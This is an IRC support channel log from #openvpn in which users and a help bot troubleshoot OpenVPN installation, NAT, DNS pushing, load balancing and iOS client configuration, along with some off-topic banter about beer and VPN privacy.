18:15 -!- p3rror [~p3rror@41.140.229.158] has quit [Ping timeout: 256 seconds]
18:16 -!- octocpp [~octo@unaffiliated/octocpp] has joined #openvpn
18:17 < octocpp> What is the official download. is seems there is other junk out there.
18:17 < EugeneKay> !download
18:17 <@vpnHelper> "download" is (#1) http://openvpn.net/index.php/download/community-downloads.html to download openvpn or (#2) OpenVPN's Windows installer now includes OpenVPN GUI. Don't bother with http://openvpn.se anymore or (#3) Don't trust download.com at all. It provides an extremely old version with malware: http://insecure.org/news/download-com-fiasco.html or (#4) in the community version of openvpn (only
18:17 <@vpnHelper> thing supported here) there is no separate download for client/server, it is the same install with different configs
18:17 < octocpp> thanks
18:18 < EugeneKay> I like how you trust a random IRC bot :v
18:20 < octocpp> it is the same site I decided on earlier on my own, but i am getting problems istalling in win7 32 bit
18:20 < octocpp> I was installing in a 32 bit win7 and I got an error saying "error creating hklm/software/openvpn-guikey"
18:21 < octocpp> while launching openvpngui
18:21 < octocpp> ?
18:22 < pekster> octocpp: Forget to run as an admin maybe? OpenVPN needs admin access to f.eg add routes and set IPs
18:23 < octocpp> hmmm, thanks. I was admin, but I had to right click and run as admin, thanks
18:23 < octocpp> is that only a client, or can it act as the server too?
18:23 < pekster> With UAC, your admin "isn't" an admin. Personally I think UAC is dumb and if people cared they'd run with a standard non-admin user like proper OSes do. Most people don't
18:24 < octocpp> I do, but it didnt work, so I logged in as admin thinking it would work to figure out what is up.
18:24 < pekster> Sure, openvpn can do whatever you configure it to; the GUI tray app is just a way to launch it (for all openvpn cares, you could just as easily launch it from a command prompt or a bit of code you write)
18:25 < octocpp> But I just forgot to run as admin from the other user ehh
18:25 < pekster> Right, that's what you should do. Props to you for using a daily user that's not an admin, though
18:26 < octocpp> pekster: so i can connect to existing vpns, and also recieve vpn connections from the same instance runing?
18:26 < pekster> Not the same openvpn instance. The included openvpn-gui can manage any number of instances though
18:27 < octocpp> I so far have only connected to vpns in linux, but i am trying to set it up to accept connections in win7
18:27 < EugeneKay> pekster - UAC is more like sudo.....
18:27 < EugeneKay> It detects when elevated privileges are required and prompts
18:27 < octocpp> I guess i am wondering, how do I set it up to wait for and accept connections?
18:27 < EugeneKay> You can set a GPO to require a password
18:28 < pekster> Well, UAC does other bullshit too, like filesystem overlays and crap
18:28  * pekster wants to shoot whoever thought that was smart
18:28 < EugeneKay> It has its uses
18:28 < EugeneKay> But yes, overall it's bad.
18:28 < EugeneKay> But better than nothing!
18:28 < pekster> Right, like causing openpvn to fail when the "c:\program files\openvpn\configs\blah.ovpn" was *actually* in an overlay directory on my non-admin user so the "run-as" gui didn't see it. "Feature"
18:29 < pekster> UAC exists becuase people are idiots and create admin users becuase they don't know better. It hides the problem and people just click through it anyway. </rant>
18:30 < pekster> octocpp,
18:30 < pekster> !howto
18:30 <@vpnHelper> "howto" is (#1) OpenVPN comes with a great howto, http://openvpn.net/howto PLEASE READ IT! or (#2) http://www.secure-computing.net/openvpn/howto.php for a mirror
18:30 < octocpp> hmm, guess I better hit the freindly manual heh
18:30 < pekster> That part is quite literally no different from running on a *nix platform
18:30 < pekster> If you've done it there, the only difference is in file paths, which should be quoted if they have spaces and backslashes double-excaped, like: ca "C:\\Program Files\\openvpn\\config\\my.ca"
18:31 -!- Cultist [~Cultist@c-71-194-185-109.hsd1.il.comcast.net] has quit [Quit: et tu, znc?]
18:33 < octocpp> pekster: thanks, ill read through it, I havent set up a server yet, only use the client.
18:33 < octocpp> This is the info I need though.,
18:34 < pekster> If you intend to do any NAT or advanced firewalling/routing, you're likely to have bettern luck with some Linux/Unix varient, even if you just run it in a VM. YYMV.
18:34 < pekster> YMMV*
18:35 < EugeneKay> I prefer to use "cd" once in my windows configs and then specify stuff relatively from there.
18:35 < pekster> My example holds for that too :P
18:36 < pekster> s/a /d /
18:36 < EugeneKay> But less \\es
18:37 < pekster> Nope, those are eaten by C
18:39 < pekster> ie: http://paste.kde.org/751286/raw/
18:45 < EugeneKay> I mean, less "\\" in the config file overall
18:45 < EugeneKay> Only have to give the full path once
18:45 < pekster> Right, I do the same
20:11 < octocpp> all of the tutorials are jacked up for windows. Does anyone actually have openvpn server running in windows? Everything keeps crashing too.
20:13 < MagisterQuis> octocpp: Sounds normal to me :D
20:13 < MagisterQuis> Have you considered running BSD in a VM?
20:13 < EugeneKay> I've never run it, no.
20:13 < EugeneKay> *nix in a VM is usually a better choice.
20:14 < MagisterQuis> I find that OpenBSD in a VirtualBox VM with 64M ram allocated to it works wonders.
20:14 < EugeneKay> 64M of ram? What is this, 1999?
20:17 < MagisterQuis> Why give it more than it'll use?
20:18 < MagisterQuis> OpenVPN only needs a few meg.
20:18 < MagisterQuis> The kernel isn't big.
20:19 < EugeneKay> You missed the joke.
20:19 < MagisterQuis> I did, yes.
20:19 < MagisterQuis> What was it?
20:21 < pekster> Each client consumes around 600k (give or take) so 64M could quickly become insufficient depending on your usage
20:23 < MagisterQuis> True.
20:23 < MagisterQuis> I never have more than one or two clients.
20:26 < EugeneKay> MagisterQuis - http://youtu.be/NQ-8IuUkJJc?t=1m
20:26 <@vpnHelper> Title: Center For Kids Who Cant Read Good - Zoolander (4/10) Movie CLIP (2001) HD - YouTube (at youtu.be)
20:27 -!- BtbN [~btbn@btbn.de] has quit [Quit: Bye]
20:27 -!- BtbN [znc@btbn.de] has joined #openvpn
20:47 -!- emmanuelux [~emmanuelu@87.98.243.112] has quit [Quit: emmanuelux]
21:00 < octocpp> after you get allof the crap for openvpn server installed in windows, how do you actually get it started and running?
21:04 < octocpp> is openvpn total crap in windows
21:04 < octocpp> it seems to work fine in linux, what is the deal.
21:04 < pekster> There is no "openvpn server". It's just openvpn
21:05 < pekster> !configs
21:05 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
21:05 < pekster> !logs
21:05 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
21:06 < octocpp> does it knowhow to make log files in windows? It crashes and ssays look at the log file, but there is no log file
21:06 -!- master_of_master [~master_of@p4FF248CD.dip0.t-ipconnect.de] has quit [Read error: Operation timed out]
21:07 < pekster> !logfile
21:07 <@vpnHelper> "logfile" is (#1) openvpn will log to syslog if started in daemon mode. You can manually specify a logfile with: log /path/to/logfile or (#2) verb 3 is good for everyday usage, verb 5 for debugging or (#3) see --daemon --log and --verb in the manual (!man) for more info or (#4) without any log-redirection options, openvpn sends output to stdout. Explicit logging is often more convenient
21:08 < pekster> Easiest would be to add the --log option to your config file and send it somewhere explicit
21:08 < pekster> Optionally, start openvpn.exe from a command prompt and copy/paste the output to a pastebin
21:08 < pekster> And verify you installed the right thing. I have no clue what you mean by "all of the crap" you needed to install, because it's a *single* program
21:10 < octocpp> What do I type to start it as a server to listen for a connection?
21:11 -!- master_of_master [~master_of@p4FF24139.dip0.t-ipconnect.de] has joined #openvpn
21:11 < pekster> Did you create your config file already?
21:12 -!- DrFoo [~DrFoo@c-24-34-23-78.hsd1.ma.comcast.net] has joined #openvpn
21:12 < octocpp> yea, I used a sample server one, and it said trying to cvonnect to server. . then connection failed.
21:13 < pekster> Past the *full* log output somewhere
21:13 < DrFoo> I want to access my server from a local ip when I'm home, but I'll need the vpn ip when I'm remote. Can I put two entries for this server in my hosts file?
21:13 < octocpp> There is no log.
21:13 < pekster> In the event you installed "Access Server" that is not openvpn; it's a closed-source frontend to a custom openvpn codebase that is not GPL
21:14 < pekster> In the event you didn't, you will always get meaningful output in the logfile
21:14 < octocpp> in openvpn gui, where you openthe log file, it say it doesnt exist.
21:14 < octocpp> says*
21:14 < pekster> Just run it from a command prompt
21:15 < pekster> "c:\program files\openvpn\bin\openvpn.exe" --config "c:\\program files\\openvpn\\config\\YourConfig.ovpn"
21:15 < pekster> (obviously change the name to match.) Send the output to a pastebin site
21:15 < octocpp> k, trying now
21:16 < pekster> DrFoo: Not an openvpn problem. You might consider split-horizon DNS instead
21:17 < DrFoo> didn't mean it as an openvpn problem per se... just thought the people here would know if it could be added multiple times to a hosts file.
21:17 < pekster> Nope
21:22 < octocpp> I get Options error: --dh fails with 'dh1024.pem': no such file of directory
21:22 < octocpp> it does that for the CA crt the , server crt. and the server key
21:22 < pekster> Then you clearly haven't placed those files where it's looking for them
21:22 < pekster> Maybe you need a full path or should declare a --cd directive?
21:23 < octocpp> arrr, hhmm
21:25 -!- c|oneman [cloneman@1337.montrealdark.com] has left #openvpn []
21:25 < octocpp> ok, I specified the path to them and that error went away, but i have no file such as dh1024.pem ?
21:25 < pekster> That was explained in the howto you were linked earlier. Search for the heading "editing the server configuration file"
21:26 < pekster> The DH safe prime would have been generated for you as well if you followed the guide
21:26 < pekster> Seems like you should re-read the PKI and configuration sections, becuase you've manage to miss several critical steps
21:26 < octocpp> k, thanks.
21:38 -!- Voss [~Voss@unaffiliated/voss] has quit [Read error: Connection reset by peer]
21:39 -!- Voss [~Voss@unaffiliated/voss] has joined #openvpn
21:40 <@krzee>   <EugeneKay> [09:49:08] I like how you trust a random IRC bot :v
21:40 <@krzee> hey vpnHelper isnt a random bot!
21:40 <@krzee> he is the vpnHelper!
22:05 -!- octocpp [~octo@unaffiliated/octocpp] has quit [Ping timeout: 252 seconds]
22:06 -!- octocpp [~octo@unaffiliated/octocpp] has joined #openvpn
22:21 < flobro> so if i do:
22:21 < flobro> !fbsdnat
22:21 <@vpnHelper> "fbsdnat" is nat on $ext_if from $vpn_network to any -> ($ext_if) (this is for PF)
22:21 < flobro> on my remote fbsd server, its not gonna lock out me out right
22:22 < flobro> as in pf just poofs and i lose my connection
22:22 < flobro> i have no pf.conf
22:22 < flobro> yet
22:23 < EugeneKay> krzee - he's got a better RNG than you
22:31 < pekster> flobro: It shouldn't, unless you make a mistake and typo the address range or otherwise have done something silly (overlapping networks, etc)
22:32 < flobro> cool, so $vpn_network is the network that tun0 is on, and ext_if would be em0, or something to that effect?
22:33 < pekster> Right, ext_if being your uplink (since you want to NAT as packets go out "on" that interface
22:33 < flobro> right
22:33 < pekster> So, if em0 is the uplink and 10.8.0.0/24 is the VPN network, use those values. The (em0) just pulls the IP off that interface when performing the NAT
22:34 < flobro> basically i can connect and get an ip from the hub, but i want to force all traffic though it such as DNS and its not resolving to anything despite having defined a DNS server, im assuming im looking for the def1 thing which pushes it out, but am hesistant to set up pf with very little knowledge. thank you
22:35 < flobro> right, that answers my question exactly, thanks again
22:35 < pekster> You're trying to set up a server that you can redirect traffic though?
22:35 < flobro> yea
22:35 < pekster> !redirect
22:35 <@vpnHelper> "redirect" is (#1) to make all inet traffic flow through the vpn, you will need --redirect-gateway (see !def1), as well as IP forwarding (see !ipforward) and NAT (see !nat) enabled on the server. or (#2) you may need to use a different dns server when redirecting gateway, see !dns or !pushdns or (#3) if using ipv6 try: route-ipv6 2000::/3 or (#4) Handy troubleshooting flowchart:
22:35 <@vpnHelper> http://ircpimps.org/redirect.png
22:36 < flobro> nice little graph there, will check it out
22:48 -!- octocpp [~octo@unaffiliated/octocpp] has quit [Quit: Konversation terminated!]
23:15 < flobro> !def1
23:15 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
23:39 < flobro> so i followed the chart and am able to ping 8.8.8.8, yet not google.com. the chart says "dns is your problem" whats the best course of action here?
23:41 -!- srg [U2FsdGVkX1@unaffiliated/srg] has left #openvpn [":wq"]
23:58 < EugeneKay> !dns
23:58 <@vpnHelper> "dns" is (#1) Level3 open recursive DNS server at 4.2.2.[1-6] or (#2) Google open recursive DNS server at 8.8.8.8 / 8.8.4.4 or (#3) you might be looking for !pushdns
23:58 < EugeneKay> !pushdns
23:58 <@vpnHelper> "pushdns" is (#1) push "dhcp-option DNS a.b.c.d" to push dns to the client or (#2) http://thread.gmane.org/gmane.network.openvpn.user/25139/focus=25147 see that mail archive for some info on pushing dns or (#3) http://article.gmane.org/gmane.network.openvpn.user/25149 for a perm fix via regedit or (#4) in unix you'll use the update-resolv-conf script or (#5) also
23:58 <@vpnHelper> http://comments.gmane.org/gmane.network.openvpn.user/31975 reports --register-dns as fixing their problems pushing DNS to windows 7
--- Day changed Mon May 27 2013
00:08 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
00:17 -!- thumbs [1000@unaffiliated/thumbs] has quit [Ping timeout: 256 seconds]
00:17 -!- thumbs [1000@unaffiliated/thumbs] has joined #openvpn
00:37 < flobro> !man
00:37 <@vpnHelper> "man" is (#1) For man pages, see http://openvpn.net/index.php/open-source/documentation/manuals/ or (#2) the man pages are your friend! or (#3) Protip: you can search the manpage for a specific --option (with dashes) to find it quicker
01:02 < flobro> !ipforward
01:02 <@vpnHelper> "ipforward" is (#1) please choose between !linipforward !winipforward !osxipforward and !fbsdipforward or (#2) ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc. it must be enabled in the kernel AND allowed in the firewall
01:02 < flobro> !fbsdipforward
01:02 <@vpnHelper> "fbsdipforward" is is set gateway_enable="YES" in /etc/rc.conf to enable ip forwarding in freebsd
01:08 -!- speed_racer81 [~speed_rac@173.45.218.54] has joined #openvpn
01:09 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 240 seconds]
01:17 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
01:18 -!- speed_racer81 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
01:29 -!- xbanux1 [~xbanux@115.254.75.113] has joined #openvpn
01:30 -!- mattock_afk is now known as mattock
01:32 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
01:53 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has joined #openvpn
02:04 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has joined #openvpn
02:05 -!- speed_racer84 [~speed_rac@173.45.218.54] has joined #openvpn
02:13 -!- speed_racer84 [~speed_rac@173.45.218.54] has quit [Ping timeout: 256 seconds]
02:13 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
02:17 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
02:26 -!- backjlack [~quassel@unaffiliated/backjlack] has quit [Remote host closed the connection]
02:50 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
02:59 -!- kubbing [~kubbing@ip-89-176-242-54.net.upcbroadband.cz] has quit [Remote host closed the connection]
03:05 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
03:13 -!- Voss [~Voss@unaffiliated/voss] has left #openvpn ["Aurevoir ladies/gents!"]
03:16 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has quit [Read error: Operation timed out]
03:19 < flobro> do i need:
03:20 < flobro> push "redirect-gateway def1"
03:20 < flobro> on both the client and server?
03:20 < flobro> i can connect, NAT is enabled, DNS is defined. im watching packets go out through tcpdump on pflog0
03:22 < flobro> yet pings just hang on the client
03:33 < cnf> flobro: that sets the default gateway on the client, if you specify it on the server
03:33 < cnf> so check the default gw on the client :P
03:33 < flobro> im sorry, im not sure i understand
03:34 -!- lickalott [~lickalott@127.0.0.1.silentkiller.cc] has joined #openvpn
03:35 < flobro> it appears to be a DNS problem, i can change the DNS server in the servers config but when i watch the packets its using the client DNS
03:35 < flobro> May 27 15:56:29 flee openvpn[893]: /sbin/route add -net 198.245.62.15 192.168.1.1 255.255.255.255
03:35 < flobro> misstype, sorry
03:37 < cnf> flobro: push "redirect-gateway def1" on the server pushes to the client to set the tunnel as the default gateway
03:38 < flobro> right, and that appears to be set.
03:38 < cnf> right, then that bit works :P
03:38 < flobro> right, haha
03:39 < cnf> you can push dns settings to the client as well
03:39 -!- lnkgyv [~lnkgyv@194.8.144.126] has joined #openvpn
03:39 < flobro> right, im trying to do that with:
03:39 < cnf> if you push a default gateway, a local dns server won't work, because all traffic is sent over the tunnel
03:39 < lnkgyv> hello everybody! Can anyone help me? I have openvpn connection with some configuration(client and server) with ccd http://pastebin.com/CX2kGxYG . Client successfully connected to server, but client don't assing IP address. Please help me! Thank's!
03:39 < flobro> push "dhcp-option DNS 8.8.8.8"
03:39 < cnf> flobro: yah, that should work
03:39 < cnf> flobro: assuming you can access 8.8.8.8 through the tunnel :P
03:39 < flobro> i cant!
03:40 < flobro> when i ping 8.8.8.8 i see in pflog on the server, that its attempting to pint google. but the client just hangs
03:40 < cnf> ah, then maybe your routing isn't working
03:40 -!- kubbing [~kubbing@77.48.48.250] has joined #openvpn
03:40 < cnf> did yu enable forwarding on the server?
03:40 < flobro> i set up a nat yea.
03:41 < cnf> well, try tcpdumping
03:41 < cnf> see where the icmp packets get to
03:41 < flobro> on which interface? tun0?
03:41 < flobro> im currently tcpduming pflog0
03:42 < flobro> only 1 packet per ping shows up though, and the client never shows anything
03:47 < flobro> i got it!
03:47 < flobro> :D
03:48 < lnkgyv> please help me!
03:48 < flobro> thank you for your help. gateway_enable="YES" wasnt being read by freebsd until next reboot, so i forced it with cyctl
03:49 < flobro> sysctl*
03:50 -!- backjlack [~quassel@unaffiliated/backjlack] has joined #openvpn
03:50 < cnf> flobro: back, and all of the, start at tun0, and move out
03:50 < cnf> flobro: and, ah, there you go :P
03:50 < flobro> i got it cnf :D
03:51 < cnf> \o/
04:02 -!- mnice [~jdoe@static-84-242-118-58.net.upcbroadband.cz] has joined #openvpn
04:02 < mnice> hello
04:03 < mnice> i'd like to ask for something .. openvpn is one thread sw, right ? so i can run more instances on 127.0.0.2 and use ipvsadm to load-balance traffic between them in case of hundreds of clients ?
04:04 < nohitall> I dont think you need that
04:04 < mnice> o.O ?
04:05 < mnice> i've been told that's the good practise .. ain't it ?
04:05 < nohitall> but yes you can use more than 1 server
04:06 < nohitall> !loadbalance
04:06 < nohitall> meeh
04:07 < nohitall> http://openvpn.net/index.php/open-source/documentation/howto.html#loadbalance
04:07 <@vpnHelper> Title: HOWTO (at openvpn.net)
04:09 < nohitall> mnice: how many you have?
04:10 < mnice> nohitall: how many users ?
04:10 < nohitall> yes
04:11 < mnice> currently only 50, but 250-350 clients with 2048b key lenght are expected
04:11 < nohitall> what server hw
04:11 < nohitall> I read tests with 50clients with bout 12% peak load
04:11 < mnice> Intel(R) Xeon(R) CPU           X5365  @ 3.00GHz
04:12 -!- kubbing [~kubbing@77.48.48.250] has quit [Remote host closed the connection]
04:12 < nohitall> mnice: i am no expert but I'd I dont thing load ll be a problem, but redundancy is never wrong
04:13 < mnice> nohitall: it's not about redundancy .. it's about dealing traffic between more instances on same server because of optimized performance
04:13 < mnice> openvpn daemon is single threaded app
04:14 < nohitall> yea no prob
04:14 < nohitall> u can run several deamons
04:15 < mnice> nohitall: where are you from please ?
04:15 < nohitall> y?
04:16 < mnice> yes, you :)
04:16 < nohitall> why?
04:17 < mnice> nohitall: because i'd like to know if i guessed that based on your input
04:17 < nohitall> my country?
04:17 < mnice> oh god, yes :D
04:17 < nohitall> well guess
04:17 < mnice> india ?
04:17 < nohitall> lol
04:17 < nohitall> I dont write like an indian
04:18 < mnice> yes, you do :D
04:18 < nohitall> why?
04:18 < nohitall> I write like everybody, just shorten things sometimes
04:18 < mnice> s/n (sane/unsane) ratio points to that (no offense) :D
04:18 < nohitall> unsane ratio points? woot
04:20 < mnice> anyway, back to business .. regard folks and thx for your input
04:20 < mnice> actually only for nohitall
04:22 < nohitall> np, just trying
04:27 -!- kubbing [~kubbing@ip-89-176-96-114.net.upcbroadband.cz] has joined #openvpn
04:30 < kisom> mnice: I run some 700 concurrent connections per OpenVPN instance, 350 should be no problems
04:30 < kisom> Bandwidth will probably be more of an issue
04:32 < mnice> kisom: thx, we have 2x1Gbit to the WAN
04:33 < mnice> should be enough
04:33 < nohitall> kisom: u got load stats to that?
04:33 < mnice> multipath ofc
04:33 < nohitall> mnice: doubt you'll have problems
04:34 < nohitall> not for the average company employee
04:34 < kisom> nohitall: Usually it's < 1.0.
04:34 < mnice> damn, i had "tour de pub" at saturday night .. drank 12+ more kinds of beers, my stomach is still screwed up
04:34 < kisom> On the other hand we don't generate too much traffic
04:34 < nohitall> mnice: czech ppl, always drinking ;P
04:34 < mnice> beers :) .. yeah, we're the best in that
04:35 < nohitall> I luv pils
04:35 < nohitall> kisom: <1%?
04:35 < nohitall> or 1.0 as in 100
04:35 < mnice> i don't .. that's kind of rather some international taste of beer, not typically czech
04:35 < nohitall> pilsner urquell
04:36 < nohitall> no pils ic czech
04:36 < nohitall> from Pilsen
04:36 < mnice> yeah, but that's different to classic czech beer like Budweiser Budvar
04:36 < nohitall> not that much diff
04:36 < kisom> nohitall: 1.0 as in average load. i.e. "how many processes needs the CPU at the same time".
04:36 < mnice> yes, it does :D
04:36 < nohitall> anything but bavarian crap beer
04:37 < mnice> btw recieved in email good picture: https://i.chzbgr.com/maxW500/5246665216/h330E1FA4/
04:37 < mnice> very true
04:37 < nohitall> true
04:37 < nohitall> valid for probably most of the internet nowadays
04:38 < mnice> and for FB especially - i deleted deliberately an account year ago
04:39 < nohitall> never had one
04:39  * nohitall is paranoid
04:39 < nohitall> I dont surf without vpn or some shell
04:39 < cnf> VPN isn't a magic "make me safe" solution, you know
04:39 < kisom> nohitall: So you trust your VPN provider more than your ISP. Why is that?
04:40 < nohitall> privacy laws in their country + they online since many years
04:40 < nohitall> cnf: just some anonymity
04:40 < nohitall> + I need it for P2P
04:41 < nohitall> :D
04:41 -!- Dat [dat@gotpot.org] has joined #openvpn
04:41 < cnf> nohitall: and you trust your vpn provider more than your ISP to give you anonimity?
04:41 < cnf> (i don't)
04:41 < nohitall> my ISP does not give me any anomity
04:41 < Dat> Does anyone have an IOS device on openvpn server using openvpn connect application?
04:41 < cnf> well, i do, but i know my VPN ISP personally ^^;
04:41 < kisom> nohitall: I trust my full disk encryption when the police knocks down my door. No proof = no sentence
04:41 < cnf> nohitall:  neither does your vpn provider
04:42 < nohitall> cnf: I dont give out my ip when I use VPn
04:42 < nohitall> not to the general public
04:42 < cnf> kisom: and in a lot of countries you are required by law to hand over the key
04:42 < nohitall> and they dont log
04:42 < cnf> nohitall:  doesn't matter
04:42 < nohitall> besides whatever, its about censorship too
04:42 < cnf> but whatever
04:42 < nohitall> especially on YT
04:42 < nohitall> cnf: its cheap, doesnt hurt, helps
04:43 < cnf> actually, i'd say it hurts
04:43 < nohitall> why
04:43 < cnf> because VPN providers are THE place for law enforcement to look
04:43 < nohitall> without it I am victo to censorship and nutty copyright lawyers
04:43 < nohitall> *victim
04:43 < cnf> you KNOW this is where the traffic worth monitoring comes out
04:43 < nohitall> in their history as provider there was not 1 single case of problems with that
04:44 < cnf> oh, yeah, it's a good way to circomvent censorship
04:44 < nohitall> YT is heavily censored nowadays
04:44 < cnf> but don't think it gives you anonymity because of it
04:44 < nohitall> in germany its like 60% blocked
04:45 < nohitall> its safe enough for private P2P use ;)
04:45 < cnf> it's a good way to avoid geotagging, and censorship, and to bypass local firewalls
04:45 < cnf> but please do NOT think it gives you anonimity
04:45 < nohitall> jesus christ
04:45 < nohitall> I no
04:45 < nohitall> still helps
04:46 < kisom> nohitall: If you use Windows and --redirect-gateway def1 then bittorrent will still go out your physical interface ;)
04:46 < kisom> It's a feature, not a bug!
04:47 < nohitall> I dont use windows and I know
04:47 < cnf> kisom:  it does? o,O how does that work?
04:48 < kisom> cnf: Windows does not break off connections that are already established when you edit the routing table
04:48 < cnf> oh, sure
04:48 < nohitall> windows suckz
04:48 < cnf> kisom: but if you set up your vpn, and then start your torrent, it goes over the tunnel, right?
04:48 < kisom> At least Vista and above. XP did it the correct way.
04:48 < nohitall> i'd shot myself if I had to administrate a win server
04:49 < nohitall> simple way to check: wireshark
04:49 < nohitall> ;)
04:49 < nohitall> cnf: or use a linux vm and tunnel from that
04:49 < nohitall> I do that at work
04:49 < kisom> cnf: Not if you have incomming connections from the physical interface, which you will have in most cases because of DHT
04:49 < Dat> Is there any documentation that will help me convert my openvpn config to an IOS campat. config?
04:49 < cnf> kisom:  incoming connections on something that isn't running?
04:50 < cnf> Dat: just put the keys in <ca> blocks etc
04:50 < cnf> Dat: that's it
04:50 < cnf> nohitall: at work i run linux
04:50 < cnf> at home i run OSX (and windows for gaming)
04:50 < nohitall> cnf: servers do too, my desk not urg
04:50 < Dat> cnf: I can't an error of an invalid signature check on my CA or CRL
04:50 < kisom> cnf: Well, no. But in my experience there are _always_ a few bittorrent connections even when starting the client after establishing the VPN connection.
04:50 < nohitall> cnf: at home I run freebsd and arch
04:50 < cnf> weird
04:51 < Dat> cnf: my configuration had chained certificates
04:51 < cnf> kisom:  not that i care, i just torrent over my main line
04:51 < Dat> do I need to re-create a new CA?
04:51 < cnf> Dat: how about you fix that first?
04:51 < kisom> cnf: Same over here.
04:51 < cnf> there is nothing special about an ios config, except for the inline keys
04:51 < nohitall> cnf: dunno what client u got, but mine shows all peers including ur self, showing IP, country etc
04:51 < cnf> nohitall: pretty much every client does that
04:52 < kisom> cnf: Only got shitty ADSL, but I can get <= 60 Mbps when load balacing over ADSL and 4 UMTS connections
04:52 < cnf> kisom:  cable, 120mbit
04:52 < nohitall> kisom: lmao
04:52 < kisom> cnf: Yeah yeah, got 1 Gbps on my servers ;)
04:52 < nohitall> kisom: macgyver style
04:52  * nohitall gets dark fibre in summer
04:52 < cnf> kisom:  oh, we going like that? :P 1gbit on the "safe" vm, 40gbit total at work
04:53 < cnf> nohitall: no point in dark fibre, is there...
04:53 < nohitall> cheaper
04:53 < cnf> well, yeah
04:53 < cnf> because it's useless
04:53 < nohitall> + versatile
04:53 < nohitall> why?
04:53 < cnf> because it is dark
04:53 < cnf> ie, unlit
04:53 < nohitall> ...just the name pro
04:53 < cnf> ie, it carries no signal
04:53 < kisom> cnf: 80 Gbps backbone. And totally free. I hide my servers at university :)
04:53 < nohitall> it does when we config it lol
04:53 < cnf> that is what dark fibre is
04:53 < Dat> cnf: fix my configuration to use inline keys I have already done that.
04:53 < cnf> kisom: :P
04:53 < nohitall> cnf: no
04:54 < cnf> nohitall: yes
04:54 < nohitall> cnf: you rent the cable, the rest is your problem
04:54 < cnf> yeah, because you have the gear to terminate fibre somewhere
04:54 < nohitall> yep
04:55 < nohitall> university IXP, 10gigabit
04:55 -!- lilalinuxHamburg [znc@ist.deswahnsinns.de] has joined #openvpn
04:56 < cnf> kisom: that's a nice uni :P
04:56 < Dat> could someone just point me to the documentation I dont mine reading to figure out this problem
04:56 < cnf> Dat: there is nothing to be done, except put your keys inline
04:56 < nohitall> kisom: 80gps backbone?! whats the name lol
04:57 < Dat> I use chained certificates.
04:57 < Dat> .p12
04:57 < cnf> Dat: oh, and use key-direction 1 if you use TLS
04:57 < nohitall> kisom: still the university only got 1-10 intern I guess
04:57 < cnf> Dat: https://community.openvpn.net/openvpn/wiki/IOSinline
04:57 <@vpnHelper> Title: IOSinline – OpenVPN Community (at community.openvpn.net)
04:57 < Dat> Thanks I'll check that out
04:57 < kisom> nohitall: Yep, 1 Gbps per port.
04:58 < Dat> Oh I read that so I guess <pkcs12> </pkcs12> wont work?
04:58 < nohitall> kisom: yea more than enough
04:59 < nohitall> kisom: http://www.aco.net/ueberblick.html?&L=1
04:59 <@vpnHelper> Title: ACOnet: Overview (at www.aco.net)
04:59 < nohitall> my net
04:59 < nohitall> "my" lol
04:59 < cnf> Dat: idno, why not?
05:00 < Dat> cnf: didn't see it on the site I was also wondering if tls-client/tls-remote/remote-cert works in a IOS config
05:01 < cnf> Dat: sure
05:01 < cnf> Dat: client implies tls-client
05:01 < Dat> cool I'll give this another go
05:01 < Dat> ahh
05:02 < cnf> Dat: mind, the iOS (and android) client does NOT support the fragment option
05:02 < Dat> ahhh ok anyway to get a list of options it doesn't support?
05:02 < cnf> no
05:03 < cnf> most should work, i just ran into the fragment one
05:03 -!- mcp [~mcp@wolk-project.de] has quit [Read error: Operation timed out]
05:03 < lilalinuxHamburg> Do I need to apply some magic to be able to print via vpn on port 9100?
05:04 < lilalinuxHamburg> with tun
05:04 -!- mcp [~mcp@wolk-project.de] has joined #openvpn
05:04 -!- tripiz [~dude@mbanet.ath.forthnet.gr] has joined #openvpn
05:04 < tripiz> greetings
05:05 < lilalinuxHamburg> aloha
05:05 < nohitall> tripiz: greetings earthling
05:05 < tripiz> I have a LAN which consist of one server (centos) that is running apache and openvpn server and another PBX-VoIP server. I have added a link with a brief sketch, demonstrating my LAN.
05:05 < tripiz> http://i.imgbox.com/aczI0yr6.jpeg
05:05 < tripiz> What i want to do, is, when i am outside from home, to be able to access my LAN`s services from internet using OpenVPN.
05:05 < tripiz> For example, when i connect with openvpn FROM INTERNET to my LAN, i want to be able to open firefox, enter 192.168.0.100 (LAN server IP ) and be able to view apache`s webpage.
05:05 < tripiz> Question:
05:05 < tripiz> Does this involves Bridging or Routing the VPN subnet with my LAN subnet?
05:05 -!- mikkel_ [~mikkel@80-198-36-38-static.dk.customer.tdc.net] has quit [Read error: Operation timed out]
05:06 < tripiz> any help would be ver much approcoated
05:06 < tripiz> *appreciated
05:08 < tripiz> i mean , i have followed instalation tutorials of openvpn and had no problem connecting to my lan using vpn
05:08 < tripiz> but in order to also be able to ping the LAN PCs will i have to do routing?
